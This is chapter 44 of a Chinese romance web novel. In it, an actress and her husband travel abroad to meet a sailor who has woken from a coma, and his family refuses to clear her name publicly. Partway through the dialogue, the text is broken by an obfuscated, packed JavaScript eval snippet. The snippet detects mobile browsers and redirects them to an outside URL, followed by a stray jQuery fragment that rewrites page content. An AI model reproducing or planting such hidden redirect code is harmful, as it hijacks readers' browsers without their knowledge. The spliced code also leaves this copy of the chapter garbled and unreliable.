44. 第 44 章

作品:《在关系最差时结婚[先婚后爱]

    同学也蒙了。


    身后又出来同学,问他:“在这儿干什么呢?”


    同学愣了下,赶紧回头把其他人拦住,说:“走走,换个地方说话。”


    门外的对话声和离开的脚步声清楚的传到张凝妍的耳朵里。


    她刚后背被撞时整个人往前扑了下,夏书岐接住了她。他手在她身后拍了拍她的后背,绕到身前时把她的拉链从锁骨前拉上去,重新遮住了脖颈。


    张凝妍又被全副武装的像是个贼,但夏书岐刚刚的动作很直白,她问:“你,刚刚是想接吻吗?”


    他想的更多,所以他没回答。


    张凝妍说:“可你同学们还在隔壁。”


    夏书岐:“嗯。”


    张凝妍问:“你们会到几点?”


    夏书岐说:“我不回去了。”


    他给林戚项打了个电话,说他先走了,挂了电话后,夏书岐说:“回家吧。”


    张凝妍问他:“我来是不是打扰你聚会了。”


    夏书岐:“没有,我累了。”


    张凝妍也想起来他昨晚没睡觉,今天只睡了三四个小时。她说:“那走吧。”


    夏书岐:“嗯。”


    两个人往停车场走,如果说这个时间点来酒吧的,谁都有自己的朋友要见,有自己的包厢要去而没工夫去管别人,但张凝妍的这身打扮实在是太过密闭,这种掩耳盗铃,反而让路过的人忍不住往她身上多看几眼,心里猜测怕不是哪个艺人晚上过来玩酒吧,怕被认出来吧。


    有人盯着张凝妍看,她就略微低头,避开他的视线。不过也有视线避不开的,对方像是要把她口罩盯出个窟窿,她就想和夏书岐换个位置走。


    不过夏书岐先一步揽过她的肩膀,把人带到自己的怀里。


    成人都识趣,你看打扮得严实的人可以,但不能一直盯着有男伴的女性看。路看了眼夏书岐,随即把视线从张凝妍的身上移开。


    直到走到停车场车边时,夏书岐才松开她。


    两个人拉开车门上车,张凝妍看着面前的方向盘,犹豫了几秒,提醒夏书岐:“安全带系上。”


    他们刚认识时她还不会开车,她上个月刚考了驾照,夏书岐问她:“学会了吗?”


    张凝妍说:“我刚才自己开来的。”


    她又提醒他一遍:“你坐稳一点。”


    夏书岐“嗯”了声。


    车还没开出停车场,先停在了转弯处,路上行驶的车辆多,张凝妍等了一会儿。原本想自己做决定,但她身边有个老司机,张凝妍问意见:“我现在拐进去吗?”


    新手司机一般对于车的功能学会了,但是对于有很多人参与的场景会拿不准主意,比如什么时间点该汇入车流。


    夏书岐看后视镜,提醒她:“现在走吧,他在让你。”


    张凝妍的转向灯打了一会儿,听夏书岐这么说,她踩下油门,同时打紧方向盘,驶入了主道上。


    张凝妍感觉自己的眼睛不太够用,一会儿要看左边后视镜,一会儿要看看有没有人想超她的车,有人超她就给让让。也不是她多善良,她主要怕撞上。不过开车时的这些小心思她没说出来,她就自己心里瞎捉摸,这路上也没碰到几个超车的。整体来说她表现得很稳,看不出她开车紧张。


    但不知道夏书岐是不是从其他地方看出来她哪儿做的欠佳的,他提醒她:“短时间内不要一个人上路。”


    张凝妍说:“没事,多开开就好了。”


    夏书岐:“我是认真的。”


    张凝妍转头看了他一眼,视线很快又回到主干道上。张凝妍没反驳他,她说:“我爸也这么说,让我找个陪练,先开两个月。”


    夏书岐:“怎么突然想起学开车了?”


    方便是一方面,不过家里也一直有司机,没让她不方便过。张凝妍说:“你不觉得会开车很帅吗?”


    老司机的夏书岐没往这个方面想过,不过看着她包裹得严实,手握着方向盘带他回家的样子,他也没否认。


    手机震动,夏书岐把电话拿出来接通,电话是从国外打过来的,讲的是英文。他问:“什么时候?他现在的状态怎么样?”


    对方仔细地回答他的问题。


    张凝妍从他的对话内容里听出来这件事可能和她以及那位船员有关,夏书岐挂了电话后,张凝妍问:“是那位船员吗?”


    夏书岐说:“嗯,他醒了。”


    张凝妍意外地转过头,一时出神,没有注意到前方。夏书岐提醒她:“看路。”


    张凝妍立刻看前面,眼前马路上正窜出一只猫,她吓了一跳,赶紧踩刹车。只是身体还没有形成条件反射,脚上的动作慢了两秒,夏书岐见状握住她的方向盘,紧急打了一下,车身向右避开了前面那只猫。


    张凝妍把车停在路边,问:“我碰到它了吗?”


    夏书岐说:“没有。”


    听他这么说,张凝妍的心才放下来,她又问:“是清醒了吗?”


    夏书岐:“嗯,主治医生说他四个小时前醒了。”


    之前夏书岐让张凝妍把那位船员的检查报告发过来,他交给了母亲的主治医生看,主治医生对确实有其他的治疗方案,于是把人从海外接了过来,就住在他母亲在的医院。


    因为是他把病人送来的,所以病人有了变化,主治医生也电话知会他。


    张凝妍等他醒等了一年,她说:“我想去见他。”


    夏书岐:“我和你一起去。”


    张凝妍说:“我想尽快就见到他。”


    夏书岐空了几秒,说:“回家收拾行李。”


    张凝妍重新启动车子,夏书岐握住她的手问她:“能开车吗?”


    她本就是一个新手,他又怕她路上胡思乱想,注意力不集中。张凝妍说:“没事,我能开回去。”


    她这么说夏书岐就让她开。


    车开回了家,张凝妍给经纪人打电话,也告诉了她这件事。经纪人正在宵夜,被呛了一口,随后三连问她:“真的吗?醒了吗?你确认吗?”


    张凝妍说:“确认,我正在订机票。过去找他。”


    经纪人说:“我和你一起去。”


    她说这句话后,继续能听见那边要喊服务员结账的声音。张凝妍说:“你后天不是要回家吗?你妈过生日。”


    经纪人说:“来得及,我们两个去找他。我要录一段视频让他澄清当时的事。”


    经纪人因为有些激动,声音大并且不稳,她说:“凝妍啊,你说我们是不是终于要苦尽甘来了?”


    张凝妍想起过去这一年,在她事业刚有起色时就被卷入了舆论的漩涡中,她被辱骂、被抨击、被骚扰。那个骚扰她的人,如果真的对她干了什么事,或许会被理解为另一种正义。


    她很多次问自己,她到底怎么就把生活过成了这个样子,她反思过,更正过,也在明明没有做错事的生活中自我怀疑过。


    那个船员终于醒了。


    张凝妍和赶来的经纪人以及夏书岐,乘坐今晚最近的一班航班出国。在机场时经纪人看见了夏书岐,张凝妍介绍他是陆掖的哥哥。


    夏书岐作为陆家的非亲生儿子,并不像陆掖一样照片被传得到处都是,他个人风格比较低调,经纪人没见过他。但她没多想,以为不过是顺路。


    三个人坐了一晚上飞机,到达海外时是凌晨四点多,他们直接去医院。


    一路上经纪人想了很多画面,她像是等了多年终于松口气似的告诉张凝妍:“你的工作终于要忙起来了。到时候你就没有时间再到处跑了,回去我就把这件事情告诉老板,让公司的团队先有些准备。”


    她话里带着不少畅想,已经开始积极的规划未来。


    张凝妍没想那么长远,因为紧张更聚焦于眼下,希望一会儿的见面能顺利,希望那位船员身体健康,没有后遗症,希望他能够亲口把真相告诉大众。


    到医院后,天已经亮了,护士说病人还在休息,暂时见不了。


    夏书岐带她们到附近的餐厅吃饭,饭后又回了医院。


    到医院后碰到了主治医生,夏书岐带着张凝妍她们和医生简单沟通,确认人确实是醒了,现在状态很稳定,苏醒后的检查昨天也做过了,目前看起来都问题不大,让她们放心。


    医生还有些话想单独和夏书岐讲,是关于他母亲治疗的事情。医生说:“昨天我见过陆掖了,我和他说过你母亲的情况,他让我也再和你同步下。”


    夏书岐和医生去了他的办公室。


    在医院又等了一会儿,张凝妍主动去护士台询问那位船员的情况,护士说人刚醒了,家属也已经来了医院。


    张凝妍和经纪人赶去他们的病房。


    她们说明了来意,不过没再病房里多待,船员的姐姐和妻子带她们说去说话。


    楼道内,船员的姐姐赵葵然说:“很抱歉,之前误会你了,我冲动时还打过你。”


    “没想到你还愿意替我弟弟治病,我和我的家人真的很感谢你。”


    即便最开始出资寻找她弟弟,替她弟弟治病时,她也没说过一句感谢,如今她的态度让张凝妍知道,那位船员应该已经把真相告诉她了。


    张凝妍说:“救他也是我爸妈的意思,他们是坐同一艘船出海,我爸妈说会尽所能提供帮助。”


    赵葵然和船员的妻子一起对她鞠了一躬,张凝妍把她们扶起来,她问:“既然你弟弟已经醒了,还请你找一个合适的时间向大众澄清,当时出事时,我爸妈没有拿走他的救生圈,我想他已经告诉你了。”


    赵葵然空了几秒,她说:“嗯,他告诉我们了。对不起,是我误会你了。真的很抱歉。”


    只是她的视线从张凝妍的脸上移走,显得有些闪躲。张凝妍问:“怎么了?”


    船员的妻子往前站了一步,她说:“之前的事情是我们不对,我们也是急中出错让你被冤枉了。只是如果这个时候让我姐去澄清,我不敢想网友会怎么攻击她。”


    张凝妍看着船员的妻子,又看赵葵然,她听明白她的意思了,经纪人意外的问:“你们不想去澄清?”


    船员的妻子说:“这件事情在网络上有很大的讨论热度,你们也知道网友的厉害,如果我姐去回应的话,到时候所有人都攻击她,她没有办法正常生活,甚至会丢掉工作,所以实在对不起,我们觉得她不能出面。”


    她的话让张凝妍感觉从头到脚被浇了一盆冷水,她的嘴唇略微有些凉,她说:“我只是想让你们去修正你们曾经说错了的话,我没有让你们做别的,这不算过分的请求。”


    赵葵然低着头不看她,船员的妻子又说了一遍:“对不起,这是我们商量后的结果。这件事情我们实在帮不上忙。”


    “没有人让你们帮忙,只是让你们修正你们的错误!”,经纪人气得火冒三丈:“你们害怕自己的正常生活受到影响,可是她呢?她正是发展的最好的时候,因为这件事情被所有的主流媒体排除在外,她这一年怎么过来的?是你们的诋毁才让她变成今天这个样子的!你们做错了事情,不应该道歉吗?”


    “我们怎么道歉都行”,船员妻子:“如果您觉得心里不痛快,我们可以给您跪下。只是往后日子还得继续,我们承受不了那样的攻击。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162004|193799||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经纪人要被她气疯了:“那你们就要她因为你们的错一直被网友误会吗?她替你们找医生又出钱替你们看病,你们就是这么报答她的吗?人在做,天在看!”


    船员妻子说:“很抱歉之前给您带来的困扰。但是她是公众人物,受到网友的评论对她来说是很正常的事,但我们只是普通人家,我们和她不一样。”


    经纪人感觉这些话像是一个装满气的气球塞到了她的脑袋里,随时都要爆炸。赵葵然往后退了一步,朝张凝妍深深鞠了一躬,她说:“这段时间以来给您添麻烦了,我弟弟醒了,我这就带他转院继续治疗,不打扰您了,再次感谢您和您的父母。”


    她又朝她鞠了一躬,从姿态看,态度谦卑到了最低,然而行为却没有一点可以商量的余地,仿若高高在上。


    两个人转身回病房,经纪人要跟着冲进去,船员的妻子拦住她说:“我丈夫刚醒,他的状态还很不稳定,不能受刺激,还请你们不要打扰他了。”


    “如果他因为受到刺激,身体有任何变化,我们会告你们的。”


    她很平静,柔弱得像是一个手无缚鸡之力之人,可是她的话却是最利的剑,让张凝妍和经纪人毫无招架之力。


    经纪人气得走回张凝妍身边,一边气得乱走,一边说:“这世上怎么会有这种人,怎么会有这种人。”


    张凝妍看着被紧紧关上的门,她觉得此时的她像是从翻了的船上跌落到海中央的人,海浪马上就要将她席卷进深海里,而有人抢走了她手里的救生圈。


    她们才是拿走人救生圈的人。


    在楼道里站了一会儿,经纪人突然想起来一件事,骂了一句脏话,又说:“忘记录音了。”


    她随即又想了个办法,再去找人对质,这一次用手机偷偷录音。然而对方今天上午说了要走,就已经和医院提出了出院申请,她们要转院继续治疗。


    赵葵然本就常年定居在国外,所以转院对于她来说是一件简单的事,连外地都不用去。甚至为了避免被纠缠,她们当日就办理了转院手续。


    这回别提要把真相录上了,就连录她们说句话的场合都没有。当着外人的面,她们闭口不谈,如果再逼得紧了,就会装出一副受害者的样子说:“您别为难我们了。”


    经纪人觉得她们一家人比手底下的艺人都能演戏,真是屈才了。差不多中午左右的时间,她们已经把出院手续办好。


    一上午过去后,夏书岐从医生的病房里出来找张凝妍,在楼道间碰到她们,问:“怎么样了?”


    她们的脸色看起来不太好,夏书岐问:“不顺利吗?”


    张凝妍没回答,而是说:“能麻烦你送她去机场吗?她要赶回去的航班,她妈妈明天过生日。”


    张凝妍本来不想让她折腾这一趟,匆忙来还得匆忙回,但经纪人说亲手想录制船员家属澄清的画面,但这一趟还是白跑了。


    经纪人不想走,但是明天是她老妈的六十大寿,全家人都回去,不能缺她一个。她问张凝妍:“你打算怎么办?”


    张凝妍说:“没事,我再想想办法。总不能比现在更差了。”


    现在也没更好的办法,经纪人说:“行吧,那我先回去了,有任何进展,你再和我说。”


    张凝妍说:“嗯。”


    经纪人:“不用送我。”


    张凝妍说:“快要下雨了,这里不好打车。”


    她告诉夏书岐:“我怕他赶不上飞机。”


    夏书岐说:“嗯,我送她过去。”


    夏书岐送完经纪人后又开车回了医院,没需要把车开进来,他在医院门口看见了张凝妍。外面在下雨,张凝妍站在医院门口的一个凉亭下发呆。


    夏书岐下车,撑着伞走过去。


    他的伞撑在两个人的头顶,张凝妍的头发被雨水打湿了些,夏书岐问她:“在这儿干什么?”


    张凝妍说:“出来转转。”


    刚才路上夏书岐听经纪人大概说了今天上午发生的事,他问:“他们人呢?”


    张凝妍说:“走了。”


    夏书岐问她:“你打算怎么办?”


    张凝妍说:“不知道。”


    说着张凝妍忽然往前走了一步,伸手抱住他。


    她不知道在这儿站了多久,身上很凉,夏书岐问:“回家吗?”


    张凝妍:“嗯。”


    回去时是夏书岐开车,张凝妍坐车不用像开车时那样眼观六路,就只是坐在那儿,发呆都行。她把眼睛闭上,休息了一会儿。


    回到家有些累了,因为被淋湿了,先去冲了个澡,出来后夏书岐说:“去睡一会儿吧。”


    这个时间在国内是凌晨,不同于他经常两边跑,她的生物钟更固定,需要倒时差。


    张凝妍问:“你呢?”


    夏书岐说:“我在书房开个会。”


    张凝妍回了夏书岐的卧室,躺下睡觉。


    睡了不知多久,感觉有人摸她的额头。张凝妍想睁开眼,但感觉眼皮很紧,没有睁开。


    身上很热,有人抱起她,在她嘴边喂了一口水,还有一片药。


    好像是夏书岐。


    虽然眼睛没睁开,但她努力说了一句话,问:“现在几点了?”


    夏书岐说:“六点,没事,继续睡吧。”


    他的怀抱很温和,张凝妍有点分不清自己是在做梦,还是在现实。但她能感觉到有温热的液体从眼眶的两侧流出来,她好像哭了。


    夏书岐刚要把张凝妍放下,看见她眼角的眼泪时,手顿了一下。


    他把她放好,指腹温和地摸过她的眼眶。